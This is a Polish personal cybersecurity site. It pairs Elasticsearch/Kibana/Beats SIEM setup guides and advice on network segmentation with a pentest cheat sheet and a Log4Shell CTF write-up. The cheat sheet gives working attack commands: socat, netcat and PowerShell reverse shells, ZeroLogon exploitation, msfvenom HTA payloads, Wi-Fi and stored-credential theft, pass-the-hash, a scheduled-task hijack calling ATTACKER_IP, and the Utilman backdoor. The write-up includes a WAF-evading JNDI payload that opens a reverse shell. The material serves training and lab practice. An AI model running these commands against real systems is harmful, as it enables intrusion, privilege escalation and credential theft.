O mnie

Widok na Babią Górę

Witajcie na mojej stronie internetowej.

Mam na imię Kamil mam 38 lat i mieszkam w Jordanowie. Z zawodu jestem informatykiem i interesuje się cyberbezpieczeństwem. Prowadzę też szkolenia cyberawareness dla pracowników, mam już za sobą ponad 200 godzin takich szkoleń.
Mam nadzieję, że znajdziecie tu dość interesujących informacji, by poświęcić mojej stronie choć chwilę swojego czasu.
Jeżeli macie jakieś sugestie, zapytania lub po prostu chcecie wysłać mi email w innej sprawie, proszę skorzystać z formularza kontaktowego umieszczonego w dziale "Kontakt".

Instalacja Elasticsearch 8 (Elastic+Kibana+Filebeat +Auditbeat+Packetbeat +Winlogbeat)

Wersja 8 elasticsearch wprowadza szyfrowaną komunikację na starcie, przez co inaczej wygląda konfiguracja kibany oraz beatsów.

Listnig istalacji dla ubuntu server 20.04:

-------ELASTICSEARCH-------

# wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - # echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list --Dygresja-- Jeżeli mamy system z rodziny redhat to: # sudo rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch tworzymy plik /etc/yum.repos.d/elastic.repo [elastic-8.x] name=Elastic repository for 8.x packages baseurl=https://artifacts.elastic.co/packages/8.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md --Koniec dygresji-- # sudo apt-get update && sudo apt-get install elasticsearch ---info otrzymane po instalacji--- Authentication and authorization are enabled. TLS for the transport and HTTP layers is enabled and configured. The generated password for the elastic built-in superuser is : hasełko If this node should join an existing cluster, you can reconfigure this with '/usr/share/elasticsearch/bin/elasticsearch-reconfigure-node --enrollment-token ' after creating an enrollment token on your existing cluster. You can complete the following actions at any time: Reset the password of the elastic built-in superuser with '/usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic'. Generate an enrollment token for Kibana instances with '/usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s kibana'. Generate an enrollment token for Elasticsearch nodes with '/usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s node'. ---info--- # vi /etc/elasticsearch/elasticsearch.yml Usuwamy komentarze i zmieniamy: network.host: 0.0.0.0 #nasłuch na wszystkich kartach sieciowych # vi /etc/elasticsearch/jvm.options Usuwamy komentarz i edytujemy JVM heap size -Xms4g -Xmx4g # sudo systemctl enable elasticsearch # sudo systemctl start elasticsearch # systemctl status elasticsearch # curl --cacert /etc/elasticsearch/certs/http_ca.crt -u elastic https://localhost:9200 podajemy hasełko Generujemy CA do instalacji na klientach # cd /etc/elasticsearch # openssl x509 -fingerprint -sha256 -in certs/http_ca.crt Wygenerowany cert zapisujemy do pliku ca.crt i dodajemy do zaufanych głównych urzędów certyfikacji na hostach

-------KIBANA-------

# sudo apt-get install kibana # cd /usr/share/elasticsearch # bin/elasticsearch-create-enrollment-token -s kibana eyJ2ZX2M3MDhjZTdmNTE1uMCIIiOiI4LjAOjkyMDAkzYjgxY2IxNmFiXSwiZmdyIjoiMTA4ZGMyYThkZWUxYTI0YziNTE4OTc4ZTUzZTdiNjcyOGIzMsImFkciI6WyIxOTIuMTY4LjEwMS43ZGQ33NjM4OkdPQ3hrU2EzVC1hNmNhOCIsImtleSI6IjVyYzVBbjhCNVRPOG1kUHcVG0zYVQ2b3ktVncifQ== # vi /etc/kibana/kibana.yml server.host: "0.0.0.0" # sudo /bin/systemctl daemon-reload # sudo /bin/systemctl enable kibana.service # sudo systemctl start kibana.service http://ip_serwera:5601 wklejamy eyJ2ZX2M3MDhjZTdmNTE1uMCIIiOiI4LjAOjkyMDAkzYjgxY2IxNmFiXSwiZmdyIjoiMTA4ZGMyYThkZWUxYTI0YziNTE4OTc4ZTUzZTdiNjcyOGIzMsImFkciI6WyIxOTIuMTY4LjEwMS43ZGQ33NjM4OkdPQ3hrU2EzVC1hNmNhOCIsImtleSI6IjVyYzVBbjhCNVRPOG1kUHcVG0zYVQ2b3ktVncifQ== możliwe że będzie trzeba wygenerować kod # cd /usr/share/kibana/bin # ./kibana-verification-code Generujemy klucze szyfrujące: /usr/share/kibana/bin/kibana-encryption-keys generate -q xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df xpack.reporting.encryptionKey: 0d102bd90d3ed0a490f7f4709e5ba7d9 xpack.security.encryptionKey: 4262be905a346292d20a1156feb01b70

-------AUDITBEAT-------

# sudo apt-get install auditbeat Żeby w pliku konfiguracyjnym nie trzymać haseł plaintextem należy utworzyć keystore # auditbeat keystore add elastic podajemy hasełko # vi /etc/auditbeat/auditbeat.yml setup.kibana: host: "ip_serwera:5601" output.elasticsearch: hosts: ["https://ip_serwera:9200"] username: "elastic" password: "${elastic}" output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"] xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df # auditbeat setup -e # sudo systemctl enable auditbeat # sudo systemctl start auditbeat

-------FILEBEAT-------

# sudo apt-get install filebeat # filebeat keystore add elastic podajemy hasełko # vi /etc/filebeat/filebeat.yml setup.kibana: host: "ip_serwera:5601" output.elasticsearch: hosts: ["https://ip_serwera:9200"] username: "elastic" password: "${elastic}" output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"] xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df włączamy monitorowanie apache # filebeat modules enable apache (możemy dodawać inne moduły - wyświetlenie listy: konfiguracja monitorowania apache # vi /etc/filebeat/modules.d/apache.yml var.paths: ["/var/log/httpd/*access_log*"] var.paths: ["/var/log/httpd/*error_log*"] # filebeat setup -e # sudo systemctl start filebeat # sudo systemctl enable filebeat

-------PACKETBEAT-------

# sudo apt-get install libpcap0.8 # sudo apt-get install packetbeat # packetbeat keystore add elastic podajemy hasełko # vi /etc/packetbeat/packetbeat.yml packetbeat.interfaces.device: eth0 #możemy dać any setup.kibana: host: "ip_serwera:5601" output.elasticsearch: hosts: ["https://ip_serwera:9200"] username: "elastic" password: "${elastic}" output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"] xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df # packetbeat setup -e # sudo systemctl enable packetbeat # sudo systemctl start packetbeat

Instalacja Elasticsearch 7.x (ELK+KIBANA+Filebeat +Auditbeat+Packetbeat +Winlogbeat)

Głównymi komponentami ElastiStack są Elasticsearch czyli baza (wyszukiwarka i analityka) oraz Kibana czyli przeglądarkowe GUI do obsługi Elasticsearch. Do zbierania logów mamy:

  • Filebeat - zbieranie logów
  • Packetbeat - logi z protokołów sieciowych
  • Auditbeat - zdarzenia security
  • Winlogbeat - do zbierania logów z Windows
  • Metribeat - do zbierania metryk np. obciążenia CPU)

W pierwszej kolejności należy zainstalować Elasticksearch ze strony https://www.elastic.co/downloads/elasticsearch wybieramy platformę ja wybrałem Ubuntu server czyli pakiet deb x86_64.

No to jazda

Na serwerze Ubuntu pobieramy ELK i instalujemy:

#wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-amd64.deb #dpkg -i elasticsearch-7.16.3-amd64.deb

--Dygresja Instalacja z repozytoriów--

Jeśli chcemy instalować przez yum lub apt to: # wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - # echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list Jeżeli mamy system z rodziny redhat to: # sudo rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch tworzymy plik /etc/yum.repos.d/elastic.repo [elastic-7.x] name=Elastic repository for 7.x packages baseurl=https://artifacts.elastic.co/packages/7.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md #sudo apt update && sudo apt install elasticsearch --Koniec dygresji--

Edytujemy pliki konfiguracyjne:

#vi /etc/elasticsearch/elasticsearch.yml zmieniamy: network.host: 0.0.0.0 #nasłuch na wszystkich kartach sieciowych discovery.type: single-node #z uwagi na to że mamy pojedynczy węzeł Elasticsearch

Pora na Kibanę

Na serwerze Ubuntu pobieramy Kibanę i instalujemy:

#wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-amd64.deb #dpkg -i kibana-7.16.3-amd64.deb

Edytujemy pliki konfiguracyjne:

#vi /etc/kibana/kibana.yml zmieniamy: server.host: "0.0.0.0" elasticsearch.hosts: ["http://ip_serwera:9200"]

Dodajemy serwisy do autostartu i je odpalamy:

#sudo systemctl enable elasticsearch #sudo systemctl enable kibana #sudo systemctl start elasticsearch #sudo systemctl start kibana

Sprawdzamy czy jest wszystko jest ok:

#curl localhost:9200

Powinnyśmy dostać coś takiego jeśli Elasticsearch prawidłowo działa:

{ "name" : "siem", "cluster_name" : "elasticsearch", "cluster_uuid" : "QNaiTtuPTaWgmDr9US09Bw", "version" : { "number" : "7.16.3", "build_flavor" : "default", "build_type" : "deb", "build_hash" : "4e6e4eab2297e949ec994e688dad46290d018022", "build_date" : "2022-01-06T23:43:02.825887787Z", "build_snapshot" : false, "lucene_version" : "8.10.1", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" }

Aby sprawdzić, czy Kibana działa odpalamy przeglądarkę wpisujemy adres ip naszego serwera i port 5601

Zabezpieczenie ELK i Kibany

Na obecnym poziomie brak jest jakiegokolwiek logowania do systemu, więc zanim zaczniemy zbierać logi dobrze jest coś z tym zrobić.

Do pliku /etc/elasticsearch/elasticsearch.yml dopisujemy na końcu:

xpack.security.enabled: true xpack.security.authc.api_key.enabled: true

Restart Elasticsearch:

#service elasticsearch restart

Ustawiamy kredki do logowania dla modułów:

#cd /usr/share/elasticsearch/ #./bin/elasticsearch-setup-passwords interactive Podajemy hasła dla poniższych modułów: Enter password for [elastic]: Enter password for [apm_system]: Enter password for [kibana_system]: Enter password for [logstash_system]: Enter password for [beats_system]: Enter password for [remote_monitoring_user]: Aby użyć losowo wygenerowanych haseł : #echo "y" | /usr/share/elasticsearch/bin/elasticsearch-setup-passwords auto Pamiętaj, aby zapisać wszystkie te hasła, ponieważ są one potrzebne do późniejszego użycia

Sprawdzamy czy logowanie do ELK działa:

#curl -u elastic:hasełko localhost:9200

Teraz pora dodać do plików konfiguracyjnych kibany ustawione dane do logowania:

#vi /etc/kibana/kibana.yml dopisujemy: elasticsearch.username: "kibana_system" elasticsearch.password: "haselko" Powyższa metoda jest mało bezpieczna i zaleca się przechowywanie haseł w keystore: #sudo -u kibana /usr/share/kibana/bin/kibana-keystore add kibana_system w pliku kibana.yml elasticsearch.password: "${kibana_system}" Jeszcze potrzebny nam klucz szyfrowania, który generujemy poleceniem: #/usr/share/kibana/bin/kibana-encryption-keys generate -q Na końcu pliku kibana.yml dodajemy wartość z wygenerowanym kluczem: xpack.encryptedSavedObjects.encryptionKey: wygenerowany_klucz Restartukemy kibanę i możemy do niej się zalogować hasłem elastic

Odpalamy przeglądarkę i logujemy się do kibany. Powinno wszystko działać.


Wdrożenie https do kibany

Aby wszystko działało musimy mieć CA i wygenerowane certyfikaty dla elasticsearch i kibany.
Jeżeli mamy swóje CA sprawa jest prosta Windows serwer IIS -> Certyfikaty serwera -> Utwórz certyfikat domeny, uzupełniamy dane -> wybieramy urząd certyfikacji online i wpisujemy nazwę. PPM na certyfikacie -> Eksport podajemy lokalizacje i hasło. Wygenerowany certyfikat pfx dla ELK kopiujemy na serwer ELK. Wracamy do IIS -> Witryny -> Edytuj witryny -> Powiązania -> dodaj i wpisujemy https adres ip serwera ELK port 9200, nazwę hosta i wybieramy świeżo wygenerowany certyfikat. To samo powtarzamy dla portu 5601.


Wracamy do serwera ELK
Plik pfx przenosimy do /etc/elasticsearch
#chown root:elasticsearch /etc/elasticsearch/cert.pfx
#chmod 660 /etc/elasticsearch/cert.pfx

#vi /etc/elasticsearch/elasticsearch.yml 
i na końcu dopisujemy:
xpack.security.http.ssl.enabled: true
xpack.security.http.ssl.keystore.path: "cert.pfx"
xpack.security.http.ssl.keystore.password: ""

zapisujemy plik i restartujemy elasticsearch
#systemctl restart elasticsearch

Pora zrobić kibanę po https

#openssl pkcs12 -in elk.pfx -out cert.crt.pem -clcerts -nokeys
#openssl pkcs12 -in elk.pfx -out cert.key.pem -nocerts -nodes

#mv cert.* /etc/kibana
#cd /etc/kibana
#chown root:kibana /etc/kibana/cert.*
#chmod 660 /etc/kibana/cert*

#vi /etc/kibana/kibana.yml

elasticsearch.hosts: ["https://ip_serwera:9200"]
server.ssl.certificate: /etc/kibana/cert.crt.pem
server.ssl.key: /etc/kibana/cert.key.pem
elasticsearch.ssl.verificationMode: none

#systemctl restart kibana

i sprawdzamy w przeglądarce połączenie po https do kibany.

Jeżeli nie mamy swojego CA możemy utworzyć je w ELK do tego służy komenda:
#cd /usr/share/elasticsearch
#bin/elasticsearch-certutil ca
wpisujemy hasło dla naszego nowego CA

Generujemy cert:
#bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12
reszta jak wyżej z tą różnicą, że mamy zamiast *.pfx *.p12

Wersja 8 elasticsearch wprowadza szyfrowaną komunikację na starcie, przez co inaczej wygląda konfiguracja kibany oraz beetsów.

Zbieramy logi

LINUX

Pobieramy moduły:

Instalujemy moduły:

#dpkg -i auditbeat-7.16.3-amd64.deb #dpkg -i filebeat-7.16.3-amd64.deb #dpkg -i packetbeat-7.16.3-amd64.deb

Modyfikujemy pliki konfiguracyjne:

#nano /etc/auditbeat/auditbeat.yml #nano /etc/filebeat/filebeat.yml #nano /etc/packetbeat/packetbeat.yml w każdym z plików wprowadzamy zmiany: setup.kibana.host: "ip_serwera:5601" output.elasticsearch.hosts: ["ip_serwera:9200"] output.elasticsearch wpisujemy: username: "elastic" password: "haselko" dodatkowo tylko dla filebeat.yml: filebeat.config.modules.reload.enabled: true monitoring.enabled: true

Odpalamy moduły:

#auditbeat setup #sudo systemctl enable auditbeat #sudo systemctl start auditbeat #filebeat setup #filebeat modules enable system #sudo systemctl enable filebeat #sudo systemctl start filebeat #packetbeat setup #sudo systemctl enable packetbeat #sudo systemctl start packetbeat

WINDOWS

Pobieramy moduły:

Instalujemy Winlogbeat i zmieniamy plik konfiguracyjny:

C:\ProgramData\Elastic\Beats\winlogbeat\winlogbeat.yml setup.kibana.host: "ip_serwera:5601" output.elasticsearch.hosts: ["ip_serwera:9200"] output.elasticsearch wpisujemy: username: "elastic" password: "haselko"

Odpalamy moduły w powershellu:

PS: winlogbeat.cmd setup PS: Start-Service winlogbeat

Z packetbeat jest więcej zabawy. Dodatkowo do zbierania danych z interfejsów sieciowych wymagana jest instalacja NPCAPa i wskazania z której karty będą zbierane logi.

Po instalacji przechodzimy sprawdzamy nr karty sieciowej:

C:\Program Files\Elastic\Beats\7.16.3\packetbeat> PS: .\packetbeat.exe devices zapamiętujemy numer, który przed kartą, którą chcemy monitorować

Zmieniamy plik konfiguracyjny:

C:\ProgramData\Elastic\Beats\packetbeat\packetbeat.yml setup.kibana.host: "ip_serwera:5601" output.elasticsearch.hosts: ["ip_serwera:9200"] output.elasticsearch wpisujemy: username: "elastic" password: "haselko" dodatkowo wpisujemy nr monitorowanej karty: packetbeat.interfaces.device: 4

Plik yml przenosimy do C:\Program Files\Elastic\Beats\7.16.3\packetbeat i odpalamy setup:

PS .\packetbeat.exe setup -e PS Start-Service packetbeat

Monitorowanie działa.

Wstęp do zabezpieczenia infrastruktury

Biorąc pod uwagę, że najsłabszym ogniwem systemu cyberbezpieczeństwa jest najczęściej człowiek i jeżeli wyeliminujemy z rozważań zero-day, to można przyjąć, że przed atakiem na infrastrukturę nie da się ochronić.

Jedynie co jako administrator systemów możemy zrobić to przyjąć do wiadomości, że prędzej czy później dojdzie do kompromitacji naszej infrastruktury oraz na tyle mocno utrudnić zadanie atakującemu, że odpuści i poszuka innego systemu, który może łatwo spenetrować.

Segmentacja sieci

Jedną z podstawowych „kłód pod nogi”, które możemy rzucić atakującemu jest segmentacja sieci. Jeżeli w naszej infrastrukturze mamy zastosowaną płaską architekturę to w przypadku ataku na jednego użytkownika, agresor bez problemu będzie mógł przeskoczyć zarówno na inne komputery jak i serwery w naszej sieci.

Przy segmentacji kluczowe jest dobre rozplanowanie podziału sieci. Trzeba zdecydować, które systemy muszą się ze sobą komunikować, a które nie. Należy jak najczęściej stosować jednokierunkową komunikację z ograniczeniami otwartych portów np. z podsieci z drukarkami nie musimy mieć dostępu do podsieci użytkowników, a w drugą stronę po co użytkownikowi dostęp http czy https do drukarki? Podobnie jeżeli np. komputer księgowości musi się połączyć do systemu księgowego to nie zezwalamy na pełny ruch między vlanami, a jedynie pozostawiamy otwarte niezbędne porty np. 1433 dla SQL.

Dobrze jest też podzielić naszą sieć z użytkownikami na pomniejsze vlany (np. stosując podział organizacyjny), jak również wydzielić odrębne sieci dla różnych typów urządzeń, np. drukarek, UPSów, kamer, wszak nie od dziś wiadomo, że tego typu urządzenia rzadko są aktualizowane przez producentów co czyni je podatnymi na ataki.

Jeżeli mamy serwery, które udostępniają usługi na zewnątrz powinniśmy my je trzymać w wydzielonej sieci DMZ, czy sieci, z której nie ma dostępu do sieci wewnętrznej naszej organizacji (jeżeli mamy kilka takich serwerów, dobrze każdy umieścić w odrębnym DMZcie.

Nie powinniśmy zapominać o stworzeniu wydzielonej sieci managmentowej, dzięki, której będziemy mieli dostęp do wszystkich naszych podsieci, taką sieć należy szczególnie chronić. W takiej sieci dobrze jest umieścić systemy monitorujące naszą infrastrukturę.

Należy też mieć wydzieloną sieć na backupy oraz najlepiej drugą zawierającą kopie naszych backupów.

cdn..., a już w krótce m.in:

  • Honeypoty (nie tylko oprogramowanie)
  • Monitorowanie sieci
  • ...

Analiza PCAPÓW

Pokazuje wszystkie informacje o pliku pcap

# Capinfos <plik.pcap>  

Pokazuje czas trwania pcapa, godzinę startu i zakończenia

# Capinfos -aeu <plik.pcap> 

Analiza logów

# Cat <plik.log> | zeek-cut <nazwa kolumny> <nazwa kolumny> <nazwa kolumny> | sort -k 3 -nr | head 

Reverse shell SOCAT

socat SSL enrcypr shell
# openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
# cat shell.key shell.crt > shell.pem
# socat OPENSSL-LISTEN:55,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
na zaatakowanej maszynie
# socat OPENSSL:10.10.65.211:55,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
lub windows
# socat OPENSSL-LISTEN:55,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
cmd: socat OPENSSL:10.10.65.211:55,verify=0 -

Reverse shell NetCat

# sudo nc -lvnp 8080
na zaatakowanej maszynie
# nc 10.10.10.11 8080
powershell:
cmd: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.11',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Wyszukiwanie binarek SUID

# find / -perm -u=s -type f 2>/dev/null

Co mogę odpalić jako root z konta usera

# sudo -l

ZeroLogon


# python3 -m pip install virtualenv
# python3 -m virtualenv impacketEnv
# qsource impacketEnv/bin/activate
# pip install git+https://github.com/SecureAuthCorp/impacket

# nmap -sC -sV ip.addr

# wget https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py
# phyton3 zeroLogon-NullPass.py dc.name ip.addr
# secretsdump.py -just-dc -no-pass dc.name\[email protected]
# evil-winrm -i ip.addr -u admin.account -H hash

Website emumeration


# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://google.com/FUZZ
# dirb http://google.com/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# gobuster dir --url http://google.com/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

enumerowanie przez wyszukiwarki
https://github.com/aboul3la/Sublist3r
#./sublist3r.py -d google.pl

Utwardzanie nc po połączeniu $


# python3 -c "import pty; pty.spawn('/bin/bash')"

PS - wyciąganie haseł WIFI


PS: (netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name"

NMAP


sudo nmap -PR -sn IP/24 - ARP Scan
sudo nmap -PE -sn IP/24 - ICMP Echo Scan
sudo nmap -PP -sn IP/24 - ICMP Timestamp Scan
sudo nmap -PM -sn IP/24 - ICMP Address Mask Scan
sudo nmap -PS22,80,443 -sn IP/30 - TCP SYN Ping Scan
sudo nmap -PA22,80,443 -sn IP/30 - TCP ACK Ping Scan
sudo nmap -PU53,161,162 -sn IP/30 - UDP Ping Scan
-n - no DNS lookup
-R - reverse-DNS lookup for all hosts
-sn - host discovery only

HTA Window payload


msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o payload.hta
nc -lvp 443

lub 

msfconsole
use exploit/windows/misc/hta_server
set LHOST 1.2.3.4
set LPORT 443
set SRVHOST 1.2.3.4
set payload windows/meterpreter/reverse_tcp
exploit

Windows hack


Historia powershell:
#type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Zapisane Credki:
#cmdkey /list
#runas /savecred /user:admin cmd.exe

IIS password:
#type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Wyciąg Pass z puttego:
#reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s

Task scheduled:
#schtasks /query
#schtasks /query /tn TASK_NAME /fo list /v
jak mamy jakiegoś bata to zmieniamy na rev_shell:
#echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
#schtasks /run /tn vulntask

Sprawdzanie uprawnień
#whoami /priv

Pass-the-Hash attack:
cmd z kontem gdzie się da:
#reg save hklm\system D:\system.hive
#reg save hklm\system D:\sam.hive
potem na kali:
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
mamy hashe:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 [email protected]

Utilman Hack:
cmd:
#takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user xxx\xxx

#icacls C:\Windows\System32\Utilman.exe /grant nasz_user:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files

#C:\Windows\System32\> copy cmd.exe utilman.exe
  1 file(s) copied.
Start -> Zablokuj, klikamy w ustawienia dostępu i mamy cmd z adminem.

Wykorzystywane narzędzia:

BEZPŁATNE LABS DO PRZETESTOWANIA UMIEJĘTNOŚCI PENTEST/CT

Writeup Log4j na konkurs z okazji Admin Days 2022

https://wladcysieci.pl/2022/03/22/konkurs-log4shell-z-admin-days-2022/


Cel: Należy wyciągnąć nazwę ostatniego użytkownika z /etc/passwd/ wykorzystując podatność log4j

Aplikacja do zaatakowania dostępna pod adresem: 34.118.109.39:9000

Jeśli ktoś chce potestować podatność, a powyższa maszyna będzie już wyłączona, może zaciągnąć obraz dockera i go opalić lokalnie:

sudo docker run --rm -it -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Writeup tylko do celów edukacyjnych i testowania podatności w swoich systemach lub systemach, co do których posiada się zgodę na testy.


Zaczynamy:

Co potrzebne:

  • maszyna z Kali lub Parrotem
  • exploit GitHub - kni9ht/LOg4j-poc
  • Na zewnątrz będziemy wystawiać trzy porty więc na firewallu trzeba je otworzyć (dla bezpieczeństwa lepiej nie otwierać portów na cały świat, a jedynie na atakowaną maszynę). Potrzebne porty to: port 8080 dla www (do pobrania exploita przez podatną apkę), port 4444 do nasłuchiwania dla netcata oraz port 1389 dla ldapa.(w pyrzpadku ataku na lokalną maszynę portów nie wystawiamy na zewnątrz:))

Pierwsze odpalamy netcata:

nc -lvnp 4444 rozpakowujemy nasz exploit i go uruchamiamy podając ip maszyny z której atakujemy # unzip JNDIExploit.v1.2.zip # java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.20.20.10

przechodzimy na stronę https://www.revshells.com i generujemy payload wpisując adres ip maszyny z której atakujemy (10.20.20.10) oraz port nasłuchu netcata (4444) formę payloadu wybieramy "nc mkfifo".

Payload powinien wyglądać podobnie do: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.20.20.10 4444 >/tmp/f"

Na cyberchef zamienamy payload na base64 https://gchq.github.io/CyberChef/

cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjIwLjIwLjEwIDQ0NDQgPi90bXAvZg==

Czas na atak czyli wysyłkę curlem naszego payloadu i przejęcie maszyny, ale zanim to zrobimy to trzeba oszukać systemy bezpieczeństwa np. WAF, które wyszukują słów kluczowych i blokują atak:

https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

# curl -H 'User-Agent: ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://10.20.20.10:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjIwLjIwLjEwIDQ0NDQgPi90bXAvZg==}' 34.118.109.39:9000

Udało się mamy shella, pozostał ostatni krok zobycie nazwy ostatniego usera

# cat /etc/passwd 

vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
H4ck4Fun4ndPl3a5ur3:x:1000:1000:Linux User,,,:/home/hack:

Kontakt

Kontakt

Twoja wiadomość została wysłana

Elements

Text

This is bold and this is strong. This is italic and this is emphasized. This is superscript text and this is subscript text. This is underlined and this is code: for (;;) { ... }. Finally, this is a link.


Heading Level 2

Heading Level 3

Heading Level 4

Heading Level 5
Heading Level 6

Blockquote

Fringilla nisl. Donec accumsan interdum nisi, quis tincidunt felis sagittis eget tempus euismod. Vestibulum ante ipsum primis in faucibus vestibulum. Blandit adipiscing eu felis iaculis volutpat ac adipiscing accumsan faucibus. Vestibulum ante ipsum primis in faucibus lorem ipsum dolor sit amet nullam adipiscing eu felis.

Preformatted

i = 0;

while (!deck.isInOrder()) {
    print 'Iteration ' + i;
    deck.shuffle();
    i++;
}

print 'It took ' + i + ' iterations to sort the deck.';

Lists

Unordered

  • Dolor pulvinar etiam.
  • Sagittis adipiscing.
  • Felis enim feugiat.

Alternate

  • Dolor pulvinar etiam.
  • Sagittis adipiscing.
  • Felis enim feugiat.

Ordered

  1. Dolor pulvinar etiam.
  2. Etiam vel felis viverra.
  3. Felis enim feugiat.
  4. Dolor pulvinar etiam.
  5. Etiam vel felis lorem.
  6. Felis enim et feugiat.

Icons

Actions

Table

Default

Name Description Price
Item One Ante turpis integer aliquet porttitor. 29.99
Item Two Vis ac commodo adipiscing arcu aliquet. 19.99
Item Three Morbi faucibus arcu accumsan lorem. 29.99
Item Four Vitae integer tempus condimentum. 19.99
Item Five Ante turpis integer aliquet porttitor. 29.99
100.00

Alternate

Name Description Price
Item One Ante turpis integer aliquet porttitor. 29.99
Item Two Vis ac commodo adipiscing arcu aliquet. 19.99
Item Three Morbi faucibus arcu accumsan lorem. 29.99
Item Four Vitae integer tempus condimentum. 19.99
Item Five Ante turpis integer aliquet porttitor. 29.99
100.00

Buttons

  • Disabled
  • Disabled

Form